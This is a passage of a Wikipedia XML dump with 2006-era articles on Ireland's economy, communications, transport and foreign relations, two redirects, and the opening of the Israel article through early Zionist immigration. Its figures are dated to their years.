U.S. [[FDI]] in Ireland has been particularly important to the growth and modernization of Irish industry since [[1980]], providing new [[technology]], export capabilities, and [[employment]] opportunities. The major U.S. investments in Ireland to date have included multi-billion dollar investments by [[Intel]], [[Dell, Inc.|Dell]], [[IBM]] and [[Abbott Laboratories]]. Currently, there are more than 600 U.S. subsidiaries operating in Ireland, employing in excess of 100,000 people and spanning activities from manufacturing of high-tech electronics, computer products, [[medical]] supplies, and pharmaceuticals to [[retailer|retailing]], [[banking]] and [[finance]], and other services. Many U.S. businesses find Ireland an attractive location to manufacture for the [[European Union|EU]] market, since it is inside the EU customs area. Government policies are generally formulated to facilitate trade and inward direct investment. The availability of an educated, well-trained, [[English language|English]]-speaking work force and relatively moderate wage costs have been important factors. Ireland offers good long-term growth prospects for U.S. companies under an innovative financial incentive programme, including capital grants and favourable [[tax]] treatment, such as a low [[corporation]] [[income tax]] rate for [[manufacturing]] firms and certain financial services firms.

[[Image:Cow.jpg|thumb|left|200px|Once a beneficiary of the EU &amp;mdash; particularly of [[Common Agricultural Policy|CAP]] grant &amp;mdash; Ireland is now a net contributor to the EU]]

===European Union===
Ireland has grown much closer to [[Europe]] in recent years &amp;mdash; particularly since it joined the [[European Union]] (EU) in [[1973]]. It is also part of the [[Economic and Monetary Union of the European Union|EMU]] and thus has the [[euro]] as its currency. Many US companies have located their European headquarters in Ireland and this has led to increased Irish-European ties. Ireland regularly comes near the top in polls of the most enthusiastic Europeans [http://www.eubusiness.com/afp/031228021601.psvrd1gm] [http://futurum2004.eun.org/ww/en/pub/futurum2004/news/enlargement_news/new_year.htm] and spent some €60m during its presidency of the EU [http://www.nicva.org/policy_and_research/europe/article.asp?ArticleID=8810]. The EU now accounts for the bulk of Irish trade, with the [[United Kingdom]] being the largest trading partner. Ireland's main exports to Europe are [[beef]], [[computers]] ([[Dell, Inc.|Dell]], [[Hewlett-Packard|HP]], [[EMC Corporation|EMC]],   and [[Apple Computer]] all have manufacturing facilities in Ireland) and [[software]] ([[Oracle Corporation|Oracle]] and [[Microsoft]] operate in Ireland). Ireland's major imports from Europe include [[automobile|car]]s, [[machinery]], [[truck]]s, [[steel]], oil and consumer goods.
A major economic bonus Ireland has received from EU membership has been agricultural subsidies from the [[Common Agricultural Policy|CAP]] and large amounts of EU investment in Irish road infrastructure. Even though  Ireland is the second rishest Member State of the EU, following the latest EU budget talks, Ireland will remain a net beneficiary of the EU budget until 2012. Since the acceptance of the 10 new Eastern European nations in [[2004]], Ireland's ties with Europe further increased. Many workers from countries such as [[Latvia]], [[Poland]] and [[Estonia]], no longer requiring work permits, came to live and work in Ireland.
&lt;br&gt;
&lt;br&gt;

==Wealth distribution==
[[Image:Ireland income distribution chart.gif|thumb|left|230px|Disposable income per person as a percentage of the national average.]]
Ireland may somewhat aspire to be an [[egalitarian]] society &amp;mdash; wealth is partially redistributed among the poorer segments of society through the [[progressive tax]] system &amp;mdash; however large disparities in wealth still exist among the employed and unemployed, with one of the worst rich-poor gaps among Western nations. Wealth is more concentrated in the eastern region around [[Dublin]].

There are many spots in Dublin marked by poverty, particularly in the [[inner city]]. The poorest segments of society are foreign nationals working in manual jobs and people from some of the older social housing schemes in Dublin. The national [[minimum wage]] is €7.65 per hour for full time staff over the age of 18 &amp;mdash; this is quite high by historic levels. However, this wage is taxable, and above the threshold for free healthcare. The [[unemployment benefit]] (''the dole'') in Ireland is €134.80 per week, as of [[2004]].

Ireland is also quite unique in [[Europe]] in that [[land ownership]] is still quite high. In particular [[house]] ownership (at approx 80%) is the norm. This contrasts with most of [[Continental Europe]], where [[renting]] is the norm, and the [[United Kingdom]]. [[Social housing]] schemes do exist but the government has not progressively invested in these schemes in recent years.

===Statistics===
*'''Household income or consumption by percentage share:''' ''lowest 10%:'' 2% ''highest 10%:'' 27.3% ([[As of 1997|1997]])
*'''GDP per capita ([[As of 2003|2003]]):''' $34,100
*'''Population below poverty line ([[As of 1997|1997]]):''' 10%
*'''Unemployment rate ([[As of 2004|2004]]):''' 4.3%

==References==
'''Print'''
* O'Kane, Brian.  ''Starting a business in Ireland'' - Oak Tree Publishing, 1993, 1995, &amp; 2001. ISBN 1872853943
* O'Grada, Cormac ''Rocky Road: Irish Economy Since Independence'' - Manchester University Press, 1997. ISBN 0719045843
* O'Hearn, Denis. ''The Atlantic Economy: Britain, the US and Ireland'' - Manchester University Press, 2001. ISBN 0719059747
* Burke, Andrew E. ''Enterprise and the Irish Economy'' - Oak Tree Press in association with Graduate School of Business, University College Dublin, 1995. ISBN 186076004X

'''Online'''
* CIA World Factbook (2004) [http://www.cia.gov/cia/publications/factbook/geos/ei.html#top CIA World Factbook Entry on Ireland]. Retrieved [[November 11]], [[2004]]
* Business Access to State Information and Services [http://www.basis.ie/ Doing business in Ireland]. Retrieved [[November 11]], 2004
* [http://www.cso.ie/ Irish Central Statistics Office]. Retrieved [[November 11]], 2004
* [http://www.finfacts.com/irecon.htm Irish Economy News/Reports]. Retrieved [[November 11]], 2004
* [http://www.esri.ie/content.cfm?t=Irish%20Economy&amp;mid=4 The Economic and Social Research Institute (ESRI)]. Retrieved [[November 11]], 2004
* [http://www.oecd.org/ireland OECD Ireland country page]
* [http://economist.com/surveys/showsurvey.cfm?issue=20041016 The Economist Survey] [[16 October]] 2004
* [http://news.bbc.co.uk/2/hi/europe/4020523.stm BBC Article ''Ireland is named 'best country'' in the World to live] [[17 November]] 2004

==See also==
* [[Central Bank and Financial Services Authority of Ireland|Central Bank of Ireland]]
* [[Central Statistics Office of Ireland|Central Statistics Office]]
* [[Companies Registration Office, Ireland|Companies Registration Office]]
* [[Economy of Europe]]
* [[Economy of Northern Ireland]]
* [[IDA Ireland]]
* [[International Financial Services Centre]]
* [[Irish Property Bubble]]
* [[Irish Stock Exchange]]
* [[Irish topics]]
* [[List of Irish companies]]
* [[Republic of Ireland corporation tax]]
* [[Commemorative coins of Ireland]]

{{OECD}}
{{WTO}}

[[Category:Republic of Ireland]]
[[Category:Economy of Ireland| ]]
[[Category:Economies by country|Ireland]]
[[Category:European Union member economies]]

[[es:Economía de Irlanda]]
[[he:כלכלת אירלנד]]
[[pt:Economia da República da Irlanda]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Republic of Ireland</title>
    <id>14679</id>
    <revision>
      <id>38751780</id>
      <timestamp>2006-02-08T11:28:46Z</timestamp>
      <contributor>
        <username>Ben W Bell</username>
        <id>73920</id>
      </contributor>
      <minor />
      <comment>moved [[Communications in Ireland]] to [[Communications in the Republic of Ireland]]: This article is about Republic of Ireland, not Ireland as a whole (including Northern Ireland) so it should be named appropriately.</comment>
      <text xml:space="preserve">'''[[Communication]]s in the [[Republic of Ireland]]''', including [[postal]] services run by [[An Post]], are regulated to a large extent by the [[Commission for Communications Regulation]] (ComReg), the [[Irish Minister for Communications, Marine &amp; Natural Resources|Minister for Communications, Marine &amp; Natural Resources]] has overall responsibility for national policy and regulation. Much of Ireland's communications infrastructure is modern and digital, however in several sectors there are competitive disadvantages to overcome due to the uncompetitive nature of the [[economy of the Republic of Ireland]].

==Broadcasting==

'''[[Radio]]'''
*'''Stations:''' AM 9, FM 106, shortwave 0 (1998)
*'''Radios:''' 2.55 million (1997)
*See also: [[List of Irish radio stations]]

'''[[Television]]'''
*'''Stations''': 4 terrestrial stations, using 10 transmitters (plus 36 low-power repeaters) (1997)
*'''Televisions:''' 1.47 million (1997)
*See also: [[List of Irish television channels]]

See also: [[Radio Telefís Éireann]] and [[Broadcasting Commission of Ireland]]. For a more detailed discussion of the broadcasting landscape in Ireland, see [[Media in Ireland]].

==Internet== 
*'''[[Internet Service Provider]]s (ISPs):''' 14 (1999)
*'''[[Country codes|Country code]] (top-level domain):''' [[.ie|IE]]
**Domain registrar: [http://www.iedr.ie IE Domain Registry]
*'''Internet users:''' 1.26 million (2003) 
*'''Broadband users:''' 208,500 ''(Q3 2005)''
** Broadband penetration: 4.3% ''(Q3 2005)''
** [[Digital Subscriber Line]]: 163,700 ''(Q3 2005)''
** [[Cable modem|Cable]]: 18,000 ''(Q3 2005)''
** Fixed wireless: 24,600 ''(Q3 2005)''
** Satellite: 2,200 ''(Q3 2005)''
*'''[[Leased line]]s:''' 26,522 ''(Q3 2005)''
*See also: [[HEAnet]], [[IEDR]], [[INEX]], [[ITnet]]

==Telephone==
'''Telephone system''' 
*'''domestic:''' digital system using cable and microwave radio relay
*'''international:''' satellite earth station - 1 [[Intelsat]] ([[Atlantic Ocean]])

'''Telephones - fixed'''
*'''Lines:''' 2,022,640 ''(Q3 2005)''
*[[Local loop unbundling|Local loops unbundled]] (fully or partially): 3,600 ''(September 2005)''
* See also: [[Eircom]], [[BT Ireland]], [[Smart Telecom]]

'''Telephones - mobile''' 
* '''Subscribers:''' 4.05 million ''(Q3 2005)'' 
** [[Pay as you go (phone)|Pre-paid]]: 3.078 million ''(Q3 2005)''
** Contract: 972,000 ''(Q3 2005)''
* '''Mobile phone penetration:''' 100% ''(Q3 2005)''
* '''Call minutes:''' 1,449,462,000 ''(Q3 2005)''
* '''[[SMS]] messages sent:''' 1,048,112,000 ''(Q3 2005)''
* '''[[Multimedia Messaging System|MMS]] messages sent:''' 6.1 million ''(Q3 2005)''
* '''[[ARPU|Average revenue per user]]'': €47.37 ''(Q3 2005)''
*'''[[Subscriber trunk dialling | STD]] Codes for Irish mobile phone operators:'''
** 083 [[3 Ireland | 3 Ireland]] [[UMTS]] 
** 085 [[Meteor Mobile Communications |Meteor]] [[GSM]]
** 086 [[O2 Ireland]] [[GSM]], ([[UMTS]] - not yet launched)
** 087 [[Vodafone Ireland]] [[GSM]], [[UMTS]]
** 088 [[Vodafone Ireland | Eircell]] [[TACS]] (former network, closed July 2001)

Due to the introduction of full-number portability, some phones may now operate on different networks to those on which their number was originally allocated, thus an 086 number may not necessarily be an O2 number, likewise a Vodafone customer may have an 085 number if they were previously a Meteor customer. According to Comreg, 390,000 mobile phone users had taken advantage of FMNP up to September 2005.

==See also==
*[[List of Ireland-related topics]]

==External links==
*[http://www.comreg.ie/ Commission for Communications Regulation]
*[http://www.comreg.ie/publications/default.asp?nid=102231&amp;ctype=5 Irish Communications Market: Quarterly Key Data - September 2005] &amp;mdash; Comreg report
[[Category:Communications by country|Ireland]]
[[Category:Republic of Ireland]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Ireland</title>
    <id>14680</id>
    <revision>
      <id>35812303</id>
      <timestamp>2006-01-19T13:46:18Z</timestamp>
      <contributor>
        <username>Djegan</username>
        <id>49447</id>
      </contributor>
      <comment>/* Railways */</comment>
      <text xml:space="preserve">Most of the transport system in '''[[Ireland]]''' rests in public hands, both north and south of the border. The road network has evolved separately north and south, while the rail network was mostly created prior to the partition of Ireland.

In the '''[[Republic of Ireland]]''', the [[Irish Minister for Transport|Minister for Transport]], acting through the Department of Transport, is responsible for the state's road network, rail network, public transport, airports and several other areas. Although some sections of road have been built using private or public-private funds, and are operated as toll roads, they are owned by the [[Irish Government]]. The rail network is also state owned and operated, while the Government currently still owns the airports in the State (though the authorities running them are due to be privatised). Public transport is mainly in the hands of a statutory corporation, [[Coras Iompair Éireann]], and its subsidaries, Bus Átha Cliath - [[Dublin Bus]], [[Bus Éireann]] - Irish Bus, and [[Iarnrod Éireann]] - Irish Rail.

On November 1st 2005 the Dublin government published the [[Transport 21]] plan which includes €18bn for improved roads and €16bn for improved rail, including the [[Western Rail Corridor]] and the [[Dublin Metro]].

In '''[[Northern Ireland]]''', the road network and railways are in state ownership at present. The [[Department for Regional Development]] is responsible for these and other areas (such as water services), but as the [[Northern Ireland Assembly]] is currently suspended, the department is operated by [[London]] (direct rule). The main airports in Northern Ireland are privately operated and owned. A statutory corporation, the [[Northern Ireland Transport Holding Company]] (which trades as [[Translink]]) operates public transport services through its three subsidaries - [[Northern Ireland Railways]] Company Limited, [[Ulsterbus]] Limited, and [[Citybus (Belfast) | Citybus Limited]] (now branded as Metro).

==Railways==
;'''Total''' (1998) - 1,947 km
:5'3&quot; (1600mm) gauge
:38 km electrified; 485 km double track

''Main article: [[Rail transport in Ireland]]''

[[Intercity]] railway services provided by [[Iarnród Éireann]] (IÉ) link [[Dublin]] ([[Dublin Connolly railway station|Connolly]], [[Dublin Heuston railway station|Heuston]] &amp; [[Dublin Pearse railway station|Pearse]] Stns.) to [[Cork railway station|Cork]] (Kent Stn.), [[Waterford]] (Plunket Stn.), [[Kilkenny]] (MacDonagh Stn.), [[Galway]] (Ceannt Stn.), [[Tralee]] (Casement Stn.), [[Sligo]] (MacDiarmada Stn.), [[Limerick]] (Colbert Stn.) and [[Belfast]] ([[Belfast Central railway station|Belfast Central]] Stn.). Rail in [[Northern Ireland]] is run by [[Northern Ireland Railways]] (NIR), connecting Belfast to [[Derry]] ([[Londonderry railway station|Londonderry]] Stn.) and providing suburban services around the city. The cross-border Dublin-Belfast '[[Enterprise (train)|Enterprise]]' service is jointly run by IÉ and NIR.

Many lines in the west were decommissioned in the [[1930s]] under [[Éamon de Valera]]. There is a campaign to bring these back into service, in particular the [[Limerick]]-[[Sligo]] line (The [[Western Rail Corridor]]), to facilitate economic regeneration in the west, which has lagged behind the rest of the country. There is also a smaller campaign to re-establish the rail link between Sligo and [[Enniskillen]]/[[Derry]].

Since [[1984]] an electrically operated train service runs between Bray and Howth, called the [[Dublin Area Rapid Transit]]. In [[2004]] a [[light rail]] system, [[Luas]], was opened in Dublin. [[As of 2004]] a [[metro]] system is also in the planning stage. The Luas system has caused much disruption in Dublin, in retrospect many believe an [[Metro|underground]] would have been a better option, one of the current options being discussed is to upgrade the Luas to the metro system when the metro is being installed.

''See also: [[History of rail transport in Ireland]]''

=== External links ===
* [http://groups.msn.com/IrishRailwayNews/ Irish Railway News -reporting on all aspects of irish railways]
* [http://www.platform11.org Platform 11 - Irelands National Rail Passenger Lobby]

==Roads==
;'''Total''' - 117,318 km including 325 km of [[motorway]]
:'''North:''' 24,818 km including 133 km of motorway (2002) [http://www.roadsni.gov.uk/about/presentation.htm]
:'''South:''' 92,500 km (1999 est.) including 192 km of motorway (2004) [http://www.nra.ie/Transportation/DownloadableDocumentation/file,1432,en.pdf]
::''paved'' - 87,043 km, ''unpaved'' - 5,457 km

[[Ireland]]'s roads link Dublin with all the major cities (Cork, Limerick, Galway, Waterford and Belfast). Driving is on the left.

''Main Article: [[Roads in Ireland]]''

==Bus Services==
The national bus services in the [[Republic of Ireland]] is provided by [[Bus Éireann]] (Bus Ireland). The company provides an express coach network connecting most cities in Ireland, along with local bus services in the provincial cities. In Dublin, Bus Átha Cliath - [[Dublin Bus]] provides bus services. Both are part of C.I.E. There are also a number of private operators, the biggest of which include [[Aircoach]], a subsidiary of [[First Group]] which provides services to Dublin Airport from parts of Dublin, and [[Scottish Citylink]] which competes on the Dublin-Galway route. Some private rural operators exist, such as the [[Londonderry and Lough Swilly Railway|Lough Swilly Bus Company]].

In Northern Ireland [[Ulsterbus]] provides the bus network, with its sister company [[Citybus (Belfast) | Metro]] providing services in [[Belfast]]. Both are part of Translink.

==Waterways==
;'''Total''' (2004) - 753 km
:(pleasure craft only)

==Pipelines==
Natural gas 1,795 km (2003)

==Ports and harbours==
Ireland has ports in the towns of [[Arklow]], [[Belfast]], [[Cork]], [[Drogheda]], [[Dublin]], [[Dundalk]], [[Dún Laoghaire]], [[Foynes]], [[Galway]], [[Larne]], [[Limerick City|Limerick]], [[New Ross]], [[Rosslare Europort]], [[Waterford]], [[Wicklow]]

Ports in the Republic handle 3,600,000 travelers crossing the Irish sea each year, amounting to 92% of all sea travel [http://www.cso.ie/statistics/passengermovementbysea.htm (CSO figures)]. This has been steadly dropping for a number of years (20% since 1999), probably as a result of low cost airlines.

Ferry connections between Britain to Ireland via the [[Irish Sea]] include the routes from [[Swansea]] to [[Cork]], [[Fishguard]] and [[Pembroke, Wales|Pembroke]] to [[Rosslare]], [[Holyhead]] to [[Dún Laoghaire]], [[Stranraer]] to [[Belfast]] and [[Larne]], and [[Cairnryan]] to [[Larne]]. There is also a connection between [[Liverpool]] and [[Belfast]] via the [[Isle of Man]]. The world's largest car ferry, ''[[Ulysses]]'', is operated by [[Irish Ferries]] on the Dublin&amp;ndash;Holyhead route.
In addition, Rosslare and Cork run ferries to France. 

Ireland is one of the last large inhabited islands in the world without a tunnel or bridge connection. Thus the vast majority of heavy goods trade is done by sea. Northern Irish ports handle 10 megatonnes of goods trade with Britain annually, while ports in the south handle 7.6 Mt, representing 50% and 40% respectively of total trade by weight. 

Several potential Irish Sea tunnel projects have been proposed, most recently the &quot;Tusker Tunnel&quot; between the ports of [[Rosslare]] and [[Fishguard]] proposed by The Institute of Engineers of Ireland in 2004. [http://www.iei.ie/Publications/GetPublicationDetails.pasp?PublicationID=69&amp;Module=Papers&amp;txt_freetext=&amp;RecordsPerPage=1000&amp;PageNumber=1&amp;MenuID=24 IEI report (pdf)] [http://news.bbc.co.uk/1/hi/wales/south_west/4121001.stm BBC report] A different proposed route is between [[Dublin]] and [[Holyhead]], proposed in 1997 by a leading British engineering firm, Symonds, for a rail tunnel from Dublin to Holyhead. Either tunnel, at 80 km, would be by far the longest in the world, and would cost an estimated €20bn. 

===Merchant marine===
;'''Total''' - 35 ships (1,000 GRT or over) totalling 288,401 GRT/383,628 DWT
:''Ships by type'' - bulk 7, cargo 22, chemical tanker 1, container 3, roll on/roll off 1, short-sea passenger 1
:''Foreign-owned'' - Germany 3, Italy 7, Norway 2 
:''Registered in other countries'' - 18 (2003 est.)

==Airports==
;'''Total''' - 36 
;'''Airports - with paved runways'''
;Total - 16
:Over 3,047 m - 1
:2,438 to 3,047 m - 1
:1,524 to 2,437 m - 4
:914 to 1,523 m - 4
:Under 914 m - 6
;'''Airports - with unpaved runways'''
;Total - 20
:914 to 1,523 m - 3
:Under 914 m - 17 (all 2003 est.)

[[Ireland]]'s main airports are [[Dublin Airport]], [[Shannon International Airport]], [[Cork International Airport]] and [[Belfast International Airport]].

Many regional airports exist, some flying to international destinations. For example [[Ireland West Airport Knock|Knock International Airport]] in [[County Mayo]], [[Galway Airport]], [[Sligo Airport]], [[Kerry Airport]], [[City of Derry Airport]], [[Belfast City Airport]] and [[Waterford Airport]]. Services to the [[Aran Islands]] are operated from [[Connemara Regional Airport]].

Ireland's national airline, [[Aer Lingus]] provides air services from Dublin, Cork and Shannon to Britain, Europe and North America. These three airports are run by the State body, [[Dublin Airport Authority]] (formerly Aer Rianta). Two other Irish airlines are [[Ryanair]] and [[Aer Arann]].

==See also==
* [[List of Airports]]
* [[List of Ireland-related topics]]

==External links==
* [http://groups.msn.com/IrishRailwayNews/ Irish Railway News -reporting on all aspects of irish railways]
* [http://www.platform11.org Platform 11 - Ireland's National Rail Users Group]

[[Category:Transport in Ireland| ]]

[[fr:Transport en Irlande]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Ireland</title>
    <id>14681</id>
    <revision>
      <id>15912217</id>
      <timestamp>2004-03-29T20:39:52Z</timestamp>
      <contributor>
        <ip>194.125.51.253</ip>
      </contributor>
      <text xml:space="preserve">#Redirect: [[Irish Defence Forces]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of the Republic of Ireland</title>
    <id>14682</id>
    <revision>
      <id>37552597</id>
      <timestamp>2006-01-31T19:08:07Z</timestamp>
      <contributor>
        <ip>82.13.41.22</ip>
      </contributor>
      <text xml:space="preserve">The '''Foreign relations of the [[Republic of Ireland]]''' substantially reflect the fact that it is a member of the [[European Union]] (&quot;EU&quot;) and that, like all members of the EU, it holds the presidency for six months every twelfth year or so.  It is one of the group of smaller nations in the Union.

For many years, Ireland was a member of the [[Non-Aligned Movement]] group in the [[United Nations]] (&quot;UN&quot;) and even today tends towards independence of view in its foreign policy.  Specifically, it is not a member of [[NATO]] and has a [[The Emergency#Neutrality|longstanding]] &lt;!-- constitutional? --&gt; policy of military neutrality.  This policy has helped the [[Irish Defence Forces]] to be sucessful in their contributions to UN peace-keeping missions since 1960 (in the [[Congo Crisis]]) and subsequently in [[Cyprus]], [[Lebanon]] and [[Bosnia and Herzegovina]]. The present government has adopted a more evidently pro-[[United States|US]] position, volunteering [[Shannon Airport]] as a stop-over point for [[Military of the United States|US forces]] en-route to [[Iraq]].  Given the large volume of inward investment by US companies, this is perhaps understandable.

The State involved in a number of outstanding international disputes. Since the island of [[Ireland]] was partitioned in [[1922]], the state had been involved in a dispute with the [[United Kingdom]] over the status of [[Northern Ireland]]. [[Articles 2 and 3 of the Constitution of Ireland|Articles 2 and 3]] of the Republic's [[Constitution of Ireland|constitution]] used to claim Northern Ireland as a part of the Irish Nation, though in practice the Irish government did recognise the border. However both nations concluded the [[Belfast Agreement]] on the issue in [[1998]] and now co-operate closely to find a solution to the region's problems. Articles 2 and 3 were amended as part of this agreement and replaced with a statement of aspiration to unite the people of the island of Ireland and not specifically become one state.

The state is also a party to the [[Rockall#Law of the Sea|Rockall continental shelf dispute]] that also involves [[Denmark]], [[Iceland]], and the United Kingdom. The Republic and the United Kingdom have signed a boundary agreement in the Rockall area.  However, neither have concluded similar agreements with Iceland or Denmark (on behalf of the [[Faroe Islands]]) and the matter remains under negotiation. Iceland now claims [http://www.reglugerd.is/interpro/dkm/WebGuard.nsf/key2/196-1985] a substantial area of the [[continental shelf]] to the west of Ireland, to a point 49°48'N 19°00'W, which is further south than Ireland! 

The [[Irish Government]] has sought, with mixed success, to prevent the importation of weapons and ammunition through the state by the illegal [[IRA]], for use in their [[The Troubles|conflict]] with the security forces in [[Northern Ireland]]. In the 1970's the [[Irish Navy|Irish warship]], the LÉ Clara intercepted a ship carrying weapons from [[Libya]] which were more than likely destined for the [[Irish Republican|republican]] terrorists. Law enforcement acts such as these additionally improved relations with the government of the United Kingdom.

==See also==

*[[Foreign relations of the United Kingdom]]
*[[Common Travel Area]]

{{Poli-stub}}
{{Ireland-stub}}
[[Category:Foreign relations by country|Ireland]]
[[Category:Politics of the Republic of Ireland]]</text>
    </revision>
  </page>
  <page>
    <title>Ireland/Provinces</title>
    <id>14684</id>
    <revision>
      <id>15912220</id>
      <timestamp>2002-05-01T04:51:27Z</timestamp>
      <contributor>
        <username>Msammon</username>
        <id>1703</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Provinces of Ireland]]
</text>
    </revision>
  </page>
  <page>
    <title>Israel</title>
    <id>14685</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42155118</id>
      <timestamp>2006-03-04T04:34:22Z</timestamp>
      <contributor>
        <username>Mr Adequate</username>
        <id>124358</id>
      </contributor>
      <comment>rm irrelevant link</comment>
      <text xml:space="preserve">{{Infobox Country
| native_name = מדינת ישראל&lt;br&gt;(Medīnat (Y)isra'el)&lt;br&gt;دولة إسرائيل&lt;br&gt;(Dawlat Isrā'īl)
| common_name = Israel
| image_flag = Flag of Israel.svg
| image_coat = Israel-coa-medium.png
| national_motto = none
| image_map = LocationIsrael.png
| national_anthem = ''[[Hatikvah]]''
| official_languages = [[Hebrew language|Hebrew]], [[Arabic language|Arabic]]
| capital = [[Jerusalem]]
| latd=31|latm=47|latNS=N|longd=35|longm=13|longEW=E
| government_type = [[Parliamentary democracy]]
| leader_titles = [[President]]&lt;br&gt;[[Prime Minister]]&lt;br&gt;[[Deputy Prime Minister|Acting Prime Minister]]
| leader_names = [[Moshe Katsav]]&lt;br&gt; [[Ariel Sharon]]&lt;sup&gt;1&lt;/sup&gt;&lt;br&gt;[[Ehud Olmert]]
| largest_city = [[Jerusalem]]
| area = 20,770
| area_rank = 150th
| area_magnitude = 1 E10
| percent_water = ~2%
| population_estimate = 7,005,400
| population_estimate_year = December 2005
| population_estimate_rank = 97th
| population_census = 6,780,000
| population_census_year = 2003
| population_density = 333
| population_density_rank = 19th
| GDP_PPP_year = 2005
| GDP_PPP = $163.45 billion
| GDP_PPP_rank = 52nd
| GDP_PPP_per_capita = $22,944
| GDP_PPP_per_capita_rank = 32nd
| HDI_year = 2003
| HDI = 0.915
| HDI_rank = 23rd
| HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
| sovereignty_type = [[Independence]]
| established_events = &amp;nbsp;[[Declaration of the Establishment of the State of Israel|Declaration]]
| established_dates = From the [[United Kingdom]]&lt;br&gt;[[14 May]] [[1948]] (05 [[Iyar]] 5708)
| currency = [[New Israeli sheqel]] (₪)
| currency_code = ILS
| time_zone = [[UTC]]+2
| utc_offset =
| time_zone_DST = [[UTC]]+3
| utc_offset_DST =
| cctld = [[.il]]
| calling_code = 972
| footnotes = 1. Ariel Sharon is currently incapacitated, following a Jan 4, 2006 stroke.
|}}
The '''State of Israel''' ([[Hebrew language|Hebrew]]: {{Audio|He-Medinat Israel.ogg|{{hbrmem}}{{hbrshva}}{{hbrdalet}}{{hbrhiriqm}}{{hbrnun}}{{hbrpatah}}{{hbrtav}} {{hbryod}}{{hbrhiriq}}{{hbrsin.}}{{hbrshva}}{{hbrresh}}{{hbrqamaz}}{{hbralef}}{{hbrzere}}{{hbrlamed}}}}; ''Medinat Yisra'el''; [[Arabic language|Arabic]]: دَوْلَةْ إِسْرَائِيل, ''Dawlat Isrā'īl'') is a country in Asia, (specifically the [[Middle East]]), on the eastern edge of the [[Mediterranean Sea]]. It is a [[Parliamentary system|parliamentary]] [[democracy]] and the world's only [[Jewish state]].  

==Name and flag==
The name &quot;Israel&quot; is rooted in the [[Hebrew Bible]], the [[Tanakh]], where [[Jacob]] is renamed Israel after wrestling with a mysterious adversary (&quot;a man&quot;, and later &quot;God&quot; according to [[Genesis (Old Testament)|Genesis]] 32:24–30; or &quot;the angel&quot;, according to [[Book of Hosea|Hosea]] 12:4). ''Israel'' means &quot;he who has wrestled with God&quot;. The nation fathered by Jacob, were then called &quot;the children of Israel&quot; or the &quot;Israelites&quot;. Nowdays, they are commonly called [[Jew]]s after Jacob's son [[Judah]], the ancient father of the tribe of King [[David]]'s dynasty.

The [[Flag of Israel|Israeli flag]] is rooted in Jewish tradition. The white background symbolizes purity. The symbols on the flag are two stripes—one on the top and one on the bottom—and the [[Star of David]] emblem adorning the center. The stripes and blue color are inspired by the [[tallit]] (a Jewish prayer shawl).

== History ==
{{main|History of Israel}}

=== Historical roots ===
{{see also|Kingdom of Israel}}

The earliest known mention of the name 'Israel', probably refering to a group of people rather than to a place, is the Egyptian [[Merneptah Stele]] dated to about 1210 [[Common Era|BCE]].[http://www.ebonmusings.org/atheism/otarch2.html#merneptah] For over 3,000 years, [[Jew]]s have held the [[Land of Israel]] to be their homeland, both as a [[Holy Land]] and as a [[Promised Land]].  The Land of Israel holds a special place in Jewish religious obligations, encompassing Judaism's most important sites — including the remains of the [[Solomon's Temple|First]] and [[Second Temple]], as well as the rites concerning those temples. [http://www.jewfaq.org/israel.htm] Starting around 1200 [[Common Era|BCE]], a series of [[History of ancient Israel and Judah|Jewish kingdoms and states]] existed intermittently in the region for over a [[millennium]].   [http://www.nytimes.com/books/first/m/mckenzie-david.html]

Under [[Babylonia]]n, [[Ancient Greece|Greek]], [[Roman Empire|Roman]], [[Byzantine Empire|Byzantine]], and (briefly) [[Sassanian]] rule, Jewish presence in the province dwindled due to mass expulsions. In particular, the failure of the [[Simon bar Kokhba | Bar Kochba Revolt]] against the [[Roman Empire]] resulted in [[Siege of Jerusalem (70)|widescale expulsion of Jews]].  It was during this time that the Romans gave the name [[Syria Palaestina]] to the geographic area, in an attempt to erase Jewish ties to the land. The [[Mishnah]] and [[Jerusalem Talmud]], two of Judaism's most important religious texts, were composed in the region during this period. The [[Arab]]s conquered the land from the [[Eastern Roman Empire]] in 638 [[Common Era|CE]]. The area was ruled by various Arab states (interrupted by the rule of the [[Crusader states|Crusaders]]) before becoming part of the [[Ottoman Empire]] in [[1517]].

=== Zionism and Aliyah ===
{{Israelis}}
{{main articles|[[Zionism]] and [[Aliyah]]}}
The first wave of Jewish immigration to Israel, or ''Aliyah'' (עלייה) started in [[1881]] as Jews fled persecution, or followed [[Socialist]] [[Zionism|Zionist]] ideas of [[Moses Hess]] and others of &quot;redemption of the soil&quot;. Jews bought land from Ottoman and individual Arab landholders. After Jews established agricultural settlements, tensions erupted between the Jews and Arabs. 

[[Theodor Herzl]] (1860–1904), an [[Austria]]n Jew, founded the [[Zionist movement]]. In [[1896]], he published ''[[Der Judenstaat]]'' (''The Jewish State''), in which he called for the establishment of a national Jewish state. The following year he helped convene the first [[World Zionist Congress]].  

The establishment of Zionism led to the [[Aliyah#Second Aliyah (1904-1914)|Second Aliyah (1904–1914)]] with the influx of around 40,000 Jews. In [[1917]], the British Foreign Secretary [[Arthur Balfour|Arthur J. Balfour]] issued the [[Balfour Declaration, 1917|Balfour Declaration]] that &quot;view[ed] with favour the establishment in [[Palestine]] of a national home for the Jewish people&quot;.  In [[1920]], Palestine became a [[League of Nations]] [[British Mandate of Palestine|mandate administered by Britain]].

Jewish immigration resumed in [[Aliyah#Third Aliyah (1919-1923)|third (1919–1923)]] and [[Aliyah#Fourth Aliyah (1924-1929)|fourth (1924–1929)]] waves after [[World War I]].  Arab [[riots in Palestine of 1929]] killed 133 Jews, including 67 in [[Hebron]]. 

The rise of [[Nazism]] in [[1933]] led to a [[Aliyah#Fifth Aliyah (1929-1939)|fifth wave of Aliyah]]. The Jews in the region increased from 11% of the population in 1922 to 30% by 1940. The subsequent [[Holocaust]] in Europe led to [[Aliyah#Aliyah Bet: Illegal immigration (1933-1948)|additional immigration]] from other parts of Europe. By the end of [[World War II]], the number of Jews in Palestine was approximately 600,000.

